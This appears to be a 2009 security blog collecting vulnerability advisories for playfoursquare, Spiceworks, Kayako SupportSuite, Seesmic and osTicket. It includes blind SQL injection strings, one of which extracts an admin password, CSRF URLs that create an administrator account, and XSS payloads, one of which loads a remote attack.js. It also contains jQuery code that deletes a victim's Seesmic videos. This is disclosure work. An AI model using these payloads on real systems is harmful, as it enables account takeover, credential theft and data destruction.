I stumbled upon a fun little sql injection in playfoursquare the other day. I notified them but have not heard back, but it appears it has been addressed so here are the details.

     It was possible to inject specially crafted SQL into the cookie "cookieCityID"
     which provides 

     If you set the cookie to the value below the query will take roughly 5-7
     seconds to return with this "True" condition (1=1).

     (SELECT IF(1=1,BENCHMARK(1000000,SHA1(1)),0))

     If you change the logic condition to 1=0 (False) the query returns
     immediately demonstrating that blind SQL injection is possible.

     (SELECT IF(1=0,BENCHMARK(1000000,SHA1(1)),0))

III. REFERENCES
     [1] - http://playfoursquare.com

Copyright (c) 2009 nGenuity Information Services, LLC

nGenuity Information Services – Security Advisory

   Advisory ID: NGENUITY-2009-009 - Spiceworks Multiple Vulnerabilities (XSS & CSRF)
   Application: Spiceworks 3.6.31847
        Vendor: Spiceworks
Vendor website: http://www.spiceworks.com
        Author: Adam Baldwin (adam_baldwin@ngenuity-is.com)
         Class: XSS, CSRF

  I. BACKGROUND
     Spiceworks is a network management, monitoring, helpdesk, etc application that
     uses a web based front end.

 II. DETAILS
     Multiple vulnerabilities exist within the Spiceworks platform that can be used
     to take over or otherwise abuse the application / infrastructure.

     These vulnerabilities allow for the following attack scenarios to be executed.

     1. Creation of a new Administrator account
     2. Password reset of users

     Exploit Examples:
     Create Administrator Account:

http://example.com/settings/users/create?user%5Bfirst_name%5D=Joe&user%5Bla

st_name%5D=Nobody&user%5Bemail%5D=user%40example.com&user%5Brole%5D=admin&us
er%5Bpassword%5D=PASSWORD&user%5Bpassword_confirmation%5D=PASSWORD

     User Password Reset:

http://example.com/settings/users/change_password/1?user%5Bpassword%5D=PASSWORD

&editorId=password_entry_for_1

     Edit: 8/10/2009
     Thank you to Melinda Rosario for pointing out that I forgot to include any details on the XSS
     portion of this advisory. It is a simple reflected XSS in the search parameter.

     Example:

http://example.com/search?query=--%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E

     Edit: 8/11/2009
     Per Francis Sullivan at Spiceworks: Update to the latest Spiceworks 4.1 where the security issues
     are addresses.

III. REFERENCES
     [1] - http://www.spiceworks.com
     [2] - http://cwe.mitre.org/data/definitions/79.html
     [3] - http://cwe.mitre.org/data/definitions/352.html

 IV. VENDOR COMMUNICATION
     4.1.2009 - Vulnerability Discovery & Vendor Notification
     4.6.2009 - Second attempt to contact vendor
     4.7.2009 - Initial vendor response
     8.8.2009 - Advisory Release

Copyright (c) 2009 nGenuity Information Services, LLC

nGenuity Information Services – Security Advisory

   Advisory ID: NGENUITY-2009-008 - Ticket Subject Persistent XSS in Kayako SupportSuite
   Application: SupportSuite v3.50.06
        Vendor: Kayako
Vendor website: http://www.kayako.com
        Author: Adam Baldwin (adam_baldwin@ngenuity-is.com)

         Class: Persistent Cross-Site Scripting

  I. BACKGROUND
     "SupportSuite is [Kayako's] flagship product, integrating the ticket and
      e-mail management features of eSupport with the live chat and visitor
      monitoring features of LiveResponse." [1]

 II. DETAILS
     The subject field of a newly created support ticket is not properly encoded before
     being sent to the browser when the ticket details are viewed. More information
     on cross-site scripting please refer to the Common Weakness Enumeration specification
     available cwe.mitre.org [2].

     An example attack might look similar to the following.

     </title><script src="example.com/attack.js"></script>

     This vulnerability is fixed in version 3.60.x

III. REFERENCES
     [1] - http://www.kayako.com
     [2] - http://cwe.mitre.org/data/definitions/79.html

 IV. VENDOR COMMUNICATION
     7.17.2009 - Vulnerability Discovery
     7.20.2009 - Initial Vendor Response
     7.21.2009 - Patch created, Will be pushed to next stable release
     8.08.2009 - Advisory released

Copyright (c) 2009 nGenuity Information Services, LLC

Normally when I see injection vectors it’s simply because unsanitized user input is echoed back to the user in some really obvious fashion. Those get old quickly.

The particular injection point I found was fun because Seesmic took the time to urlencode the search terms to the user, but then later on in the page use that input in a small chunk of Javascript. What’s awesome about that is that we don’t have to include script tags, our input just gets run automatically. More fun than Saturday morning cartoons.

Here is the injection vector. It requires that the victim have a valid Seesmic session open, but just think if somebody posted a video linking to a tinyurl of this and this fun little javascript turned all the users private video’s public

http://video.seesmic.com/search?q=’%2C%20videoSearchCount%3A0%2CpeopleSearchCount%3A0%7D%3Balert(‘xss’)%3Btest%20%3D%20%7Ba%3A’

So who really cares if there is a XSS in video.seesmic.com? I thought about it for a while and came up with one particular exploit that would impact a few seemic users. How about deleteing all of a users videos if they visit a magical link? Here are the details. (I also thought a variant that would make all private video’s public would have been fun, but I just don’t have the time).

1. User with valid session clicks on a nice tiny url. (just think of how many people would click on this in a description for a video in the public stream!)
2. username is parsed from the site cookies.
3. User’s video json feed is loaded up.
4. For each video gathered in step 3, delete the video.

So how about some code? I left out at least one of the utility functions so you have to at least know somewhat is going on to make it work.

// Delete video function
function deletevideo(id) {
jQuery(document).ready(function() {
jQuery.ajax({
type: “DELETE”,
url: “/videos/”+id+”.json”,
data: “preventCache=1234567890″,
});
});
}

username = readCookie(“username”);

jQuery.getJSON(“/users/”+username+”/videos.json”,
function(data) {
for ( var i in data ) {
deletevideo(data[i].thread_id);
}
});

nGenuity Information Services – Security Advisory

   Advisory ID: NGENUITY-2009-007 osTicket Admin Login Blind SQL Injection
   Application: osTicket v1.6 RC4
        Vendor: osTicket
Vendor website: http://www.osticket.com
        Author: Adam Baldwin (adam_baldwin@ngenuity-is.com)

  I. BACKGROUND
    "osTicket is a widely-used open source support ticket system. It seamlessly
    integrates inquiries created via email and web-based forms into a simple
    easy to use multi-user web interface. Easily manage, organize and archive
    all your support requests and responses in one place while providing your
    clients with accountability and responsiveness they deserve." [1]

  II. DETAILS
    osTicket prior to v1.6 RC5 fails to validate / escape staff usernames which
    can be abused to execute a blind sql injection attack by an unauthenticated
    attacker.

    The vendor has provided a new release v1.6 RC5 which addresses this vulnerability.
    They have also provided patching instructions [2] should you be unable to perform
    a full upgrade at this time.

    One sample attack string might look similar to the following:
    '+(SELECT IF(SUBSTRING(passwd,1,1)=CHAR(48),BENCHMARK(1000000,SHA1(1)),0) passwd
    FROM ost_staff where staff_id=1) and '1'='1

  III. REFERENCES
    [1] - http://www.osticket.com
    [2] - http://osticket.com/forums/project.php?issueid=118

  IV. VENDOR COMMUNICATION
    3.25.2009 - Vulnerability Discovery
    3.25.2009 - Vendor notification & initial vendor response
    6.26.2009 - Vendor releases fix in osTicket v1.6 RC5 

Copyright (c) 2009 nGenuity Information Services, LLC